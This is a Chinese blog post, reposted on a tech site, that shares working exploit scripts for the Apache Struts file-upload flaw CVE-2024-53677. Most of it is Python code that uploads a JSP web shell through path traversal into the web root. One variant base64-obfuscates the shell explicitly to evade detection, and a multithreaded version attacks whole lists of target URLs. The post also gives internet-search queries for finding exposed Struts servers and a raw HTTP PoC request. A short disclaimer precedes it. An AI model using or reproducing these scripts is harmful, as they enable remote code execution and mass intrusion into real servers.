Apache Struts RCE (CVE-2024-53677)

news2025/3/28 7:12:04

前言

对目前的Apache Struts RCE (CVE-2024-53677)的poc进行总结,由于只能单个ip验证,所以自己更改一下代码,实现:多线程读取url验证并保存,更改为中文解释

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

往期推荐

14w+poc,nuclei全家桶:nuclei模版管理工具+Nuclei

哥斯拉二开,免杀绕过+规避流量检测设备

fscan全家桶:FscanPlus,fs,fscan适用低版本系统,FscanParser

自动爬取url地址,检测sql注入漏洞,sqlmc安装+使用

一键转换订阅为代理池工具+白嫖思路

TestNet,安装+使用,可以代替灯塔

python实现

参考大佬的poc:https://github.com/TAM-K592/CVE-2024-53677-S2-067/
Apache Struts 的以下版本受到影响:2.0.0 至 2.5.33,6.0.0 至 6.3.0.2

根据poc的最近几天的历史,目前网上的最终版本是base64混淆,是昨天中文出来的(2024.12.18中午)
https://github.com/TAM-K592/CVE-2024-53677-S2-067/
image.png
我在大佬的基础上进行了一些修改

  • 变成了多线程
  • 解释变成了中文
usage: CVE-2024-53677-S2-067-thread.py [-h] (-u URL | -f FILE) --upload_endpoint UPLOAD_ENDPOINT [--paths PATHS [PATHS ...]]
                                       [--filenames FILENAMES [FILENAMES ...]] [--payload PAYLOAD] [-s THREADS] [-o OUTPUT]

S2-067 Exploit - 多线程文件上传支持并从文件中读取URL

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     目标基础URL(例如:http://example.com)
  -f FILE, --file FILE  包含目标基础URL的文件路径,每行一个URL
  --upload_endpoint UPLOAD_ENDPOINT
                        上传端点路径(例如:/uploads.action)
  --paths PATHS [PATHS ...]
                        路径遍历测试路径
  --filenames FILENAMES [FILENAMES ...]
                        自定义载荷文件名
  --payload PAYLOAD     自定义JSP载荷内容
  -s THREADS, --threads THREADS
                        使用的线程数量(默认: 5)
  -o OUTPUT, --output OUTPUT
                        输出成功URL的文件路径(默认:success.txt)

地址:https://github.com/dustblessnotdust/CVE-2024-53677-S2-067-thread
源代码在下面

检测文件上传是否上传成功,不执行命令

import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)

def detect_vulnerability(target_url, upload_endpoint):
    """
    Non-destructive detection of CVE-2024-53677.
    """
    logging.info("Starting detection for CVE-2024-53677 (S2-067)...")
    upload_url = urljoin(target_url, upload_endpoint)
    test_filename = "../../vuln_test.txt"
    harmless_content = "S2-067 detection test."

    # Attempt to overwrite file name using OGNL binding
    files = {
        "upload": ("test.txt", harmless_content, "text/plain"),
        "top.uploadFileName": test_filename  # Attempt filename overwrite
    }

    # Custom Content-Type boundary
    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": m.content_type
    }

    logging.info(f"Sending test request to upload endpoint: {upload_url}")

    try:
        # Send file upload request
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)

        # Analyze HTTP response
        if response.status_code == 200:
            logging.info("[INFO] File upload request succeeded.")
            if "vuln_test.txt" in response.text:
                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
            else:
                logging.info("[INFO] Target does not appear vulnerable.")
        elif response.status_code in [403, 401]:
            logging.info("[INFO] Access denied. Ensure proper permissions.")
        else:
            logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        logging.error(f"[ERROR] Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")
    args = parser.parse_args()

    logging.info("Starting detection process...")
    detect_vulnerability(args.url, args.upload_endpoint)
    logging.info("Detection process completed.")

if __name__ == "__main__":
    main()

没有进行base64混淆

import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import string


def generate_random_filename(extension=".jsp", length=8):
    """Generate a random filename."""
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extension


def create_payload():
    """Generate a simple JSP payload for testing RCE."""
    return """<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = in.readLine()) != null) {
            out.println(line);
        }
    }
%>"""


def upload_multiple_files(target_url, upload_endpoint, payload, paths, filenames):
    """
    Upload multiple payload files using parameter overwrite and path traversal.
    """
    upload_url = urljoin(target_url, upload_endpoint)
    print(f"[INFO] Target upload endpoint: {upload_url}")

    headers = {"User-Agent": "Mozilla/5.0"}
    boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))

    for path in paths:
        files_payload = {}
        print(f"\n[INFO] Testing path traversal with base path: {path}")
        for index, filename in enumerate(filenames):
            modified_filename = f"{path}/{filename}"
            key_file = f"upload[{index}]"
            key_name = f"uploadFileName[{index}]"

            files_payload[key_file] = (filename, payload, "application/octet-stream")
            files_payload[key_name] = modified_filename

            print(f"[INFO] File {index + 1}: {modified_filename}")

        m = MultipartEncoder(fields=files_payload, boundary=boundary)
        headers["Content-Type"] = m.content_type

        try:
            response = requests.post(upload_url, headers=headers, data=m, timeout=10)
            if response.status_code == 200:
                print("[SUCCESS] Payload uploaded. Verifying...")
                for filename in filenames:
                    verify_uploaded_file(target_url, f"{path}/{filename}")
            else:
                print(f"[ERROR] Upload failed. HTTP {response.status_code}")
        except requests.RequestException as e:
            print(f"[ERROR] Request failed: {e}")


def verify_uploaded_file(target_url, file_path):
    """Verify if the uploaded payload file is accessible and can execute commands."""
    file_url = urljoin(target_url, file_path)
    print(f"[INFO] Verifying uploaded file: {file_url}")
    try:
        response = requests.get(file_url, timeout=10)
        if response.status_code == 200:
            print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")
        else:
            print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Verification failed: {e}")


def main():
    parser = argparse.ArgumentParser(description="S2-067 Exploit - Multi-file Upload Support")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")
    parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],
                        help="Paths for path traversal testing")
    parser.add_argument("--filenames", nargs="+",
                        help="Custom filenames for payloads",
                        default=[generate_random_filename() for _ in range(3)])
    parser.add_argument("--payload", help="Custom JSP payload content", default=create_payload())
    args = parser.parse_args()

    print("[INFO] Starting S2-067 Multi-file Upload Exploit...")
    upload_multiple_files(args.url.rstrip("/"), args.upload_endpoint, args.payload, args.paths, args.filenames)
    print("\n[INFO] Exploit process completed.")


if __name__ == "__main__":
    main()

进行了base64混淆

import requests
import argparse
import base64
import random
import string
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder


def generate_random_filename(extension=".jsp", length=8):
    """Generate a random filename."""
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extension


def create_obfuscated_payload():
    """
    Generate an obfuscated JSP payload for testing RCE.
    Avoid direct detection by encoding and decoding commands dynamically.
    """
    payload_base64 = base64.b64encode("""
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
        StringBuilder output = new StringBuilder();
        String line;
        while ((line = in.readLine()) != null) {
            output.append(line).append("\\n");
        }
        out.println(output.toString());
    }
%>
""".strip().encode()).decode()

    jsp_payload = f"""<%@ page import="java.util.Base64, java.nio.charset.StandardCharsets" %>
<%
    String encodedPayload = "{payload_base64}";
    byte[] decodedBytes = Base64.getDecoder().decode(encodedPayload);
    String decoded = new String(decodedBytes, StandardCharsets.UTF_8);
    out.println(decoded);
    // Execute dynamically decoded payload
    request.getRequestDispatcher("temp.jsp").include(request, response);
%>"""

    return jsp_payload


def upload_multiple_files(target_url, upload_endpoint, payload, paths, filenames):
    """Upload multiple payload files using parameter overwrite and path traversal."""
    upload_url = urljoin(target_url, upload_endpoint)
    print(f"[INFO] Target upload endpoint: {upload_url}")

    headers = {"User-Agent": "Mozilla/5.0"}
    boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))

    for path in paths:
        files_payload = {}
        print(f"\n[INFO] Testing path traversal with base path: {path}")
        for index, filename in enumerate(filenames):
            modified_filename = f"{path}/{filename}"
            key_file = f"upload[{index}]"
            key_name = f"uploadFileName[{index}]"

            files_payload[key_file] = (filename, payload, "application/octet-stream")
            files_payload[key_name] = modified_filename

            print(f"[INFO] File {index + 1}: {modified_filename}")

        m = MultipartEncoder(fields=files_payload, boundary=boundary)
        headers["Content-Type"] = m.content_type

        try:
            response = requests.post(upload_url, headers=headers, data=m, timeout=10)
            if response.status_code == 200:
                print("[SUCCESS] Payload uploaded. Verifying...")
                for filename in filenames:
                    verify_uploaded_file(target_url, f"{path}/{filename}")
            else:
                print(f"[ERROR] Upload failed. HTTP {response.status_code}")
        except requests.RequestException as e:
            print(f"[ERROR] Request failed: {e}")


def verify_uploaded_file(target_url, file_path):
    """Verify if the uploaded payload file is accessible."""
    file_url = urljoin(target_url, file_path)
    print(f"[INFO] Verifying uploaded file: {file_url}")
    try:
        response = requests.get(file_url, timeout=10)
        if response.status_code == 200:
            print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")
        else:
            print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Verification failed: {e}")


def main():
    parser = argparse.ArgumentParser(description="S2-067 Exploit - Multi-file Upload Support")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")
    parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],
                        help="Paths for path traversal testing")
    parser.add_argument("--filenames", nargs="+",
                        help="Custom filenames for payloads",
                        default=[generate_random_filename() for _ in range(3)])
    parser.add_argument("--payload", help="Custom JSP payload content", default=create_obfuscated_payload())
    args = parser.parse_args()

    print("[INFO] Starting S2-067 Multi-file Upload Exploit...")
    upload_multiple_files(args.url.rstrip("/"), args.upload_endpoint, args.payload, args.paths, args.filenames)
    print("\n[INFO] Exploit process completed.")


if __name__ == "__main__":
    main()

多线程中文

使用截图

image.png

代码部分

import requests  
import argparse  
import base64  
import random  
import string  
from urllib.parse import urljoin  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
from concurrent.futures import ThreadPoolExecutor  
  
  
def generate_random_filename(extension=".jsp", length=8):  
    """生成随机文件名。"""  
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extension  
  
  
def create_obfuscated_payload():  
    """  
    生成一个用于测试RCE的混淆JSP载荷。  
    通过动态编码和解码命令以避免直接检测。  
    """    payload_base64 = base64.b64encode("""  
<%@ page import="java.io.*" %>  
<%  
    String cmd = request.getParameter("cmd");    if (cmd != null) {        Process p = Runtime.getRuntime().exec(cmd);        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));        StringBuilder output = new StringBuilder();        String line;        while ((line = in.readLine()) != null) {            output.append(line).append("\\n");  
        }        out.println(output.toString());    }%>  
""".strip().encode()).decode()  
  
    jsp_payload = f"""<%@ page import="java.util.Base64, java.nio.charset.StandardCharsets" %>  
<%  
    String encodedPayload = "{payload_base64}";  
    byte[] decodedBytes = Base64.getDecoder().decode(encodedPayload);    String decoded = new String(decodedBytes, StandardCharsets.UTF_8);    out.println(decoded);    // 动态执行解码后的载荷  
    request.getRequestDispatcher("temp.jsp").include(request, response);%>"""  
  
    return jsp_payload  
  
  
def upload_and_verify_file(upload_url, headers, files_payload, path, filename):  
    m = MultipartEncoder(fields=files_payload, boundary='----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16)))  
    headers["Content-Type"] = m.content_type  
  
    try:  
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)  
        if response.status_code == 200:  
            print("[成功] 载荷上传成功。正在验证...")  
            verify_uploaded_file(upload_url.split('/uploads')[0], f"{path}/{filename}")  
        else:  
            print(f"[错误] 上传失败。HTTP 状态码 {response.status_code} 文件 {filename}")  
    except requests.RequestException as e:  
        print(f"[错误] 请求失败: {e}")  
  
  
def verify_uploaded_file(target_url, file_path):  
    """验证上传的载荷文件是否可访问。"""  
    file_url = urljoin(target_url, file_path)  
    print(f"[信息] 正在验证上传文件: {file_url}")  
    try:  
        response = requests.get(file_url, timeout=10)  
        if response.status_code == 200:  
            print(f"[警告] 文件上传并可访问: {file_url}?cmd=whoami")  
        else:  
            print(f"[信息] 文件不可访问。HTTP 状态码: {response.status_code} 文件 {file_path}")  
    except requests.RequestException as e:  
        print(f"[错误] 验证失败: {e}")  
  
  
def read_urls_from_file(file_path):  
    """从文件中读取URL,每行一个。"""  
    urls = []  
    try:  
        with open(file_path, 'r') as file:  
            for line in file:  
                url = line.strip()  
                if url:  
                    urls.append(url)  
    except FileNotFoundError:  
        print(f"[错误] 文件未找到: {file_path}")  
    except Exception as e:  
        print(f"[错误] 读取文件时出错: {e}")  
    return urls  
  
  
def main():  
    parser = argparse.ArgumentParser(description="S2-067 Exploit - 多线程文件上传支持并从文件中读取URL")  
    group = parser.add_mutually_exclusive_group(required=True)  
    group.add_argument("-u", "--url", help="目标基础URL(例如:http://example.com)")  
    group.add_argument("-f", "--file", help="包含目标基础URL的文件路径,每行一个URL")  
    parser.add_argument("--upload_endpoint", required=True, help="上传端点路径(例如:/uploads.action)")  
    parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],  
                        help="路径遍历测试路径")  
    parser.add_argument("--filenames", nargs="+",  
                        help="自定义载荷文件名",  
                        default=[generate_random_filename() for _ in range(3)])  
    parser.add_argument("--payload", help="自定义JSP载荷内容", default=create_obfuscated_payload())  
    parser.add_argument("-s", "--threads", type=int, default=5, help="使用的线程数量(默认: 5)")  
    args = parser.parse_args()  
  
    headers = {"User-Agent": "Mozilla/5.0"}  
  
    if args.file:  
        urls = read_urls_from_file(args.file)  
        if not urls:  
            print("[错误] 指定文件中没有有效的URL。")  
            return  
    else:  
        urls = [args.url.rstrip("/")]  
  
    for target_url in urls:  
        print(f"\n[信息] 正在处理目标URL: {target_url}")  
  
        upload_url = urljoin(target_url, args.upload_endpoint)  
  
        with ThreadPoolExecutor(max_workers=args.threads) as executor:  
            futures = []  
            for path in args.paths:  
                files_payload = {}  
                print(f"\n[信息] 使用基路径进行路径遍历测试: {path}")  
                for index, filename in enumerate(args.filenames):  
                    modified_filename = f"{path}/{filename}"  
                    key_file = f"upload[{index}]"  
                    key_name = f"uploadFileName[{index}]"  
  
                    files_payload[key_file] = (filename, args.payload, "application/octet-stream")  
                    files_payload[key_name] = modified_filename  
  
                    print(f"[信息] 文件 {index + 1}: {modified_filename}")  
  
                    future = executor.submit(upload_and_verify_file, upload_url, headers.copy(), files_payload, path, filename)  
                    futures.append(future)  
  
            for future in futures:  
                future.result()  
  
    print("\n[信息] 攻击过程完成。")  
  
  
if __name__ == "__main__":  
    main()

漏洞poc

如果不想使用Python只想验证是否存在,可以使用burpsuite或者yakit

Fofa语法

app="Struts2"

quake语法

app:"Apache Struts2"

个人中心输入邀请码“1CWUGm”你我均可获得5,000长效积分哦,地址 quake.360.net

poc

POST /upload HTTP/1.1
Host: {{file:line(C:\Users\lenovo\Desktop\漏洞挖掘\数据处理\output_1.txt)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 220
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXToNPRY2YGK82Cfc
Upgrade-Insecure-Requests: 1

------WebKitFormBoundaryXToNPRY2YGK82Cfc
Content-Disposition: form-data; name="file"; filename="../../../../../../../etc/passwd"
Content-Type: application/octet-stream

1
------WebKitFormBoundaryXToNPRY2YGK82Cfc--

验证截图

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2301209.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

23. AI-大语言模型-DeepSeek

文章目录 前言一、DeepSeek是什么1. 简介2. 产品版本3. 特征4. 地址链接5. 三种访问方式1. 网页端和APP2. DeepSeek API 二、DeepSeek可以做什么1. 应用场景2. 文本生成1. 文本创作2. 摘要与改写3. 结构化生成 3. 自然语言理解与分析1. 语义分析2. 文本分类3. 知识推理 4. 编程…

成人床垫更新关于 SOR/2016-183 和《纺织品贴标和广告法规》的合规

成人床垫更新关于 SOR/2016-183 和《纺织品贴标和广告法规》的合规性声明 加拿大站成人床垫法规SOR/2016-183是强制性的 。为确保买家安全并遵守相关法规&#xff0c;亚马逊要求所有在加拿大销售的成人床垫必须符合《床垫法规》规定的安全标准&#xff0c;包括SOR/2016-183。此…

11.编写前端内容|vscode链接Linux|html|css|js(C++)

vscode链接服务器 安装VScode插件 Chinese (Simplified) (简体中⽂) Language Pack for Visual Studio CodeOpen in BrowserRemote SSH 在命令行输入 remote-ssh接着输入 打开配置文件&#xff0c;已经配置好主机 点击远程资源管理器可以找到 右键链接 输入密码 …

网工项目实践2.6 广域网需求分析及方案制定

本专栏持续更新&#xff0c;整一个专栏为一个大型复杂网络工程项目。阅读本文章之前务必先看《本专栏必读》。 全网拓扑展示 一.广域网互联方式 1.专线 优点 稳定 独享。绝对安全。可靠性高&#xff0c;带宽高&#xff0c;完全取决于终端接口。 缺点: 费用高。建设时间长。难…

大模型相关学习

知识科普 为什么不直接使用网页版 DeepSeek? 我们的需求&#xff1a;绝对的隐私保护和个性化知识库构建。场景&#xff1a;若希望大模型能根据企业规章制度来回答问题&#xff0c;一般需上传企业规章制度的附件&#xff0c;但仍可能面临问题。 数据隐私问题&#xff1a;联网使…

基于Java(JSP)+MySQL设计与实现的 MVC 鲜花订购系统

基于MVC的鲜花订购系统的设计与实现 摘 要 摘 要&#xff1a;鲜花订购系统与网络相结合&#xff0c;给用户提供更加周到和人性化的服务。网站模式为MVC模式&#xff0c;基于MySql数据库,采用Jsp&#xff0c;Session绘画跟踪、JavaScript等技术,实现了普通用户可以浏览、查看鲜…

网络原理-

文章目录 协议应用层传输层网络层 数据链路层 协议 在网络通信中,协议是非常重要的概念.协议就是一种约定. 在网络通信过程中,对协议进行了分层 接下来就按照顺序向大家介绍每一种核心的协议. 应用层 应用层是咱们程序员打交道最多的一层协议.应用层里有很多现成的协议,但…

解码 NLP:从萌芽到蓬勃的技术蜕变之旅

内容概况&#xff1a; 主要讲述NLP专栏的内容和NLP的发展及其在现代生活中的广泛应用。课程强调实践为主、理论为辅的学习方法&#xff0c;并通过多个生活场景展示了NLP技术的实际应用&#xff0c;如对话机器人、搜索引擎、翻译软件、电商推荐和智能客服等。 这边我就不多做自我…

Word中的文档信息域

Word中的文档信息域 DocProperty包含文档信息的多个属性, 也可以自定义属性. 查看文档预定义的自定义属性 【文件】→【信息】→【属性】→【高级属性】 参考链接 WORD中文档属性域DocProperty的应用-CSDN博客 第06套 Word_哔哩哔哩_bilibili

java机器学习计算指标动态阈值

java机器学习计算指标动态阈值 最近听到有的人说要做机器学习就一定要学Python&#xff0c;我想他们掌握的知道还不够系统全面。本文作者以动态阈值需求场景给大家介绍几种常用Java实现的机器学习库&#xff0c;包括使用开源库如Weka或Deeplearning4j&#xff08;DL4J&#xf…

Note25021902_TIA Portal V18 WinCC BCA Ed 需要.NET 3.5 SP1

TIA Portal V18 WinCC BCA Ed 需要.NET 3.5 SP1 在安装TIA Portal V18时&#xff0c;遇到TIA Portal V18 WinCC BCA Ed 需要.NET 3.5 SP1. 请在此PC上中启用.NET 3.5 SP1&#xff1b; 检索&#xff1a; 电脑上如何启用 .NET 3.5 SP1 参考资料1&#xff1a; https://baijiahao.…

CHARMM-GUI EnzyDocker: 一个基于网络的用于酶中多个反应状态的蛋白质 - 配体对接的计算平台

❝ "CHARMM-GUI EnzyDocker for Protein−Ligand Docking of Multiple Reactive States along a Reaction Coordinate in Enzymes"介绍了 CHARMM-GUI EnzyDocker&#xff0c;这是一个基于网络的计算平台&#xff0c;旨在简化和加速 EnzyDock 对接模拟的设置过程&…

阅读论文笔记《Translating Embeddings for Modeling Multi-relational Data》

目录 一、模型核心原理剖析二、实验设计与数据集选择三、实验结果深度解读&#xff08;一&#xff09;链接预测实验&#xff08;二&#xff09;关系分类实验&#xff08;三&#xff09;链接预测示例&#xff08;四&#xff09;泛化实验 四、模型优缺点总结&#xff08;一&#…

​实在智能与宇树科技、云深科技一同获评浙江省“人工智能服务商”、 “数智优品”​等荣誉

近日&#xff0c;浙江省经信厅正式公布《2024 年浙江省人工智能应用场景、应用标杆企业、人工智能服务商及 “数智优品” 名单》。 实在智能获评浙江省“人工智能服务商”&#xff0c;核心产品 “实在 Agent 智能体” 入选 “数智优品”。一同获此殊荣的还有宇树科技、云深处科…

跳表(Skip List)详解

一、什么是跳表&#xff1f; 跳表是一种基于有序链表的高效数据结构&#xff0c;通过建立多级索引实现快速查询。它在平均情况下支持O(log n)时间复杂度的搜索、插入和删除操作&#xff0c;性能接近平衡树&#xff0c;但实现更为简单。 二、核心原理 1. 层级结构 底层为完整…

轻松搭建本地大语言模型(一)Ollama安装与使用

Ollama 是一款开源的本地大语言模型运行框架&#xff0c;支持在 Windows、macOS 和 Linux 系统上运行&#xff0c;能够帮助用户轻松下载和使用各种大语言模型&#xff08;例如deepseek、llama、qwen&#xff09;。本文将详细介绍 Ollama 的安装步骤&#xff0c;帮助你快速搭建本…

kafka消费能力压测:使用官方工具

背景 在之前的业务场景中&#xff0c;我们发现Kafka的实际消费能力远低于预期。尽管我们使用了kafka-go组件并进行了相关测试&#xff0c;测试情况见《kafka-go:性能测试》这篇文章。但并未能准确找出消费能力低下的原因。 我们曾怀疑这可能是由我的电脑网络带宽问题或Kafka部…

[STM32 - 野火] - - - 固件库学习笔记 - - - 十六.在SRAM中调试代码

一、简介 在RAM中调试代码是一种常见的嵌入式开发技术&#xff0c;尤其适用于STM32等微控制器。它的核心思想是将程序代码和数据加载到微控制器的内部RAM&#xff08;SRAM&#xff09;中运行&#xff0c;而不是运行在Flash存储器中。这种方法在开发过程中具有显著的优势&#…

雷军推荐:WPS 与 Pastemate 联用,效率飞升新高度

在当今快节奏的工作与学习环境中&#xff0c;效率提升成为了每个人都在追求的目标。而雷军&#xff0c;这位科技界的领军人物&#xff0c;凭借其敏锐的洞察力&#xff0c;为我们推荐了一组强大的工具组合 ——WPS 与 Pastemate&#xff0c;它们携手合作&#xff0c;能够为我们的…

轴承故障特征—SHAP 模型 3D 可视化

往期精彩内容&#xff1a; Python-凯斯西储大学&#xff08;CWRU&#xff09;轴承数据解读与分类处理 基于FFT CNN - BiGRU-Attention 时域、频域特征注意力融合的轴承故障识别模型-CSDN博客 基于FFT CNN - Transformer 时域、频域特征融合的轴承故障识别模型-CSDN博客 P…